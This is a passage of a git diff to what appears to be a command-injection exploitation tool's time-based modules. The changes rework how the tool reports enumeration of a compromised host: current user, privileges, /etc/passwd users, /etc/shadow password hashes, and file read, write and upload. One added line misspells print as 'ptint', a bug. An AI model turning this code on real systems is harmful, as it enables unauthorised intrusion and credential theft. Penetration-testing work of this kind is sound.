src.thirdparty.six.moves import urllib as _urllib - from src.utils import logs from src.utils import menu from src.utils import settings @@ -52,14 +51,13 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) # Output PowerShell's version number - info_msg = "The PowerShell's version number is " + info_msg = "Powershell version: " info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The PowerShell's version number is " + ps_version + ".\n" + info_msg = "Powershell version: " + ps_version + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: @@ -85,13 +83,12 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if shell: if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() + info_msg = "Hostname: " + str(shell) + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The hostname is " + str(shell) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -128,7 +125,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) distro_name = output if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" + target_os = target_os + " " + distro_name if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: @@ -142,22 +139,19 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output - if target_arch: + if target_os and target_arch: if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() + info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The underlying operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: - warn_msg = "Heuristics have failed to retrieve the system information." + warn_msg = "Heuristics have failed to fetch underlying operating system information." print(settings.print_warning_msg(warn_msg)) """ @@ -177,76 +171,68 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) cu_account = output if cu_account: - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("\n") - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - shell = "".join(str(p) for p in shell) - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is privileged.\n") - output_file.close() - else: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + info_msg = "Current user: " + str(cu_account) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = "Current user: " + str(cu_account) + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() else: - warn_msg = "Heuristics have failed to identify the current user." + warn_msg = "Heuristics have failed to fetch the current user." print(settings.print_warning_msg(warn_msg)) - + +""" +Check if the current user has excessive privileges. +""" +def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): + _ = False + if settings.TARGET_OS == "win": + cmd = settings.IS_ADMIN + else: + cmd = settings.IS_ROOT + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, output, vuln_parameter) + _ = True + else: + output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + shell = output + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + _ = "True" + if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ + (settings.TARGET_OS != "win" and shell != "0"): + _ = "False" + + info_msg = "Current user has excessive privileges: " + str(_) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + """ System users enumeration """ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": + info_msg = "Executing the 'net users' command " + info_msg += "in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") + else: + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) cmd = settings.SYS_USERS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: try: @@ -260,12 +246,6 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users = output # Windows users enumeration. if settings.TARGET_OS == "win": - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() @@ -274,11 +254,12 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users_list = "".join(str(p) for p in sys_users_list).strip() sys_users_list = ' '.join(sys_users_list.split()) sys_users_list = sys_users_list.split() + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " via 'net users' command." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -288,14 +269,12 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese for user in range(0, len(sys_users_list)): count = count + 1 if menu.options.privileges: - info_msg = "Confirming privileges of user '" - info_msg += sys_users_list[user] + "'. " - print(settings.print_info_msg(info_msg)) - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','').substring(0,6)" + cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" if alter_shell: cmd = cmd.replace("'","\\'") - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - check_privs = output + cmd = "cmd /c " + cmd + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + check_privs = cb_injector.injection_results(response, TAG, cmd) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = re.findall(r"(.*)", check_privs) check_privs = "".join(str(p) for p in check_privs).strip() @@ -309,37 +288,26 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else : is_privileged = "" is_privileged_nh = "" - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) - print("\n [" +str(count)+ "] '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" [" +str(count)+ "] " + sys_users_list[user] + is_privileged + ".\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass except IndexError: - sys.stdout.write(settings.FAIL_STATUS) + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate users entries." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) pass + # Unix-like users enumeration. else: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() @@ -347,13 +315,13 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users = sys_users.split("\n") else: sys_users = sys_users.split(" ") + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") @@ -365,12 +333,10 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] info_msg += " in '" + settings.PASSWD_FILE + "'." - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -410,12 +376,11 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else : is_privileged = "" is_privileged_nh = "" - sys.stdout.write("\n" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - sys.stdout.flush() + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -429,21 +394,17 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese output_file.write(" " + sys_users) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.PASSWD_FILE + "'." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + warn_msg += settings.PASSWD_FILE + "'." + ptint(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass except IndexError: - sys.stdout.write(settings.FAIL_STATUS) + print(settings.SINGLE_WHITESPACE) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "'." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) pass """ @@ -452,9 +413,13 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": - # Not yet implemented! + check_option = "--passwords" + checks.unavailable_option(check_option) pass else: + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " + print(settings.print_info_msg(info_msg)) cmd = settings.SYS_PASSES if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) @@ -468,19 +433,13 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti if sys_passes == "": sys_passes = " " if sys_passes : - info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + "' in order to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys_passes = "".join(str(p) for p in sys_passes) sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) + sys_passes = sys_passes.split() if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_passes)) info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " in '" + settings.SHADOW_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -493,103 +452,111 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" [" +str(count)+ "] " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) + print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + " : " + fields[1]) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE - warn_msg += "' file is not in the appropriate format. " - warn_msg += "Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)) + warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " + warn_msg += "in the appropriate format. Thus, it is expoted as a text file." + print(settings.print_warning_msg(warn_msg)) print(fields[0]) output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" " + fields[0]) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.SHADOW_FILE + "' file." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Single os-shell execution """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - info_msg = "Executing the user-supplied command '" + cmd + "'." + info_msg = "Executing the user-supplied command: '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) - print(settings.SINGLE_WHITESPACE) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) check_how_long = 0 if len(output) > 1: - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) - print(settings.command_execution_output(output)) - print(settings.SINGLE_WHITESPACE) + _ = "'" + cmd + "' execution output" + print(settings.print_retrieved_data(_, output)) else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) + err_msg = "The execution of '" + cmd + "' command does not return any output." + print(settings.print_error_msg(err_msg)) return check_how_long, output """ Check the defined options """ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - if settings.ENUMERATION_DONE: - settings.ENUMERATION_DONE = False - + def reset(): + if settings.ENUMERATION_DONE: + settings.ENUMERATION_DONE = False + + reset() if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + info_msg = "Fetching powershell version." + print(settings.print_info_msg(info_msg)) powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() if menu.options.hostname: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + info_msg = "Fetching hostname." + print(settings.print_info_msg(info_msg)) hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() if menu.options.current_user: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + info_msg = "Fetching current user." + print(settings.print_info_msg(info_msg)) current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() + + if menu.options.is_root or menu.options.is_admin: + if settings.ENUMERATION_DONE: + print(settings.SINGLE_WHITESPACE) + info_msg = "Testing if current user has excessive privileges." + print(settings.print_info_msg(info_msg)) + check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + reset() if menu.options.sys_info: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + info_msg = "Fetching the underlying operating system information." + print(settings.print_info_msg(info_msg)) system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() if menu.options.users: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() if menu.options.passwords: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() # eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index fbbdb14088..6e98e94f6b 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -33,7 +33,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching the content of the file '" + info_msg = "Fetching content of the file: '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) @@ -57,14 +57,12 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Fetched content of the file '" - info_msg += file_to_read + "'." - print(settings.print_bold_info_msg(info_msg)) - print(settings.print_sub_content(shell)) + _ = "Fetched file content" + print(settings.print_retrieved_data(_, shell)) output_file = open(filename, "a") if not menu.options.no_logging: info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + ".\n" + info_msg += file_to_read + "' : " + shell + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -144,7 +142,8 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = "".join(str(p) for p in shell) # Check if file exists cmd = "echo $(ls " + dest_to_write + ")" - print(settings.SINGLE_WHITESPACE) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = output try: @@ -153,8 +152,6 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, pass if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - # else: - # sys.stdout.flush() if shell: info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) @@ -167,7 +164,8 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": - # Not yet implemented + check_option = "--file-upload" + checks.unavailable_option(check_option) pass else: file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() @@ -206,7 +204,8 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec cmd = "dir " + dest_to_upload + ")" else: cmd = "echo $(ls " + dest_to_upload + ")" - print(settings.SINGLE_WHITESPACE) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = output try: diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 7f712877db..e37e21d04a 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -135,15 +135,9 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") # Cookie header injection if settings.COOKIE_INJECTION == True: @@ -299,10 +293,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - except KeyboardInterrupt: - raise - - except SystemExit: + except (KeyboardInterrupt, SystemExit): + print(settings.SINGLE_WHITESPACE) raise except EOFError: @@ -396,12 +388,13 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: checks.total_of_requests() - # Print the findings to terminal. - info_msg = "The" + finding = "" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " + finding += http_request_method + finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter + + # Print the findings to terminal. + info_msg = finding + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -414,19 +407,19 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: settings.LOAD_SESSION = False - new_line = True + _ = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: + _ = True while True: - message = "Do you want to ignore stored session and enumerate again? [Y/n] > " - enumerate_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) if enumerate_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif enumerate_again in settings.CHOICE_NO: - new_line = False break elif enumerate_again in settings.CHOICE_QUIT: raise 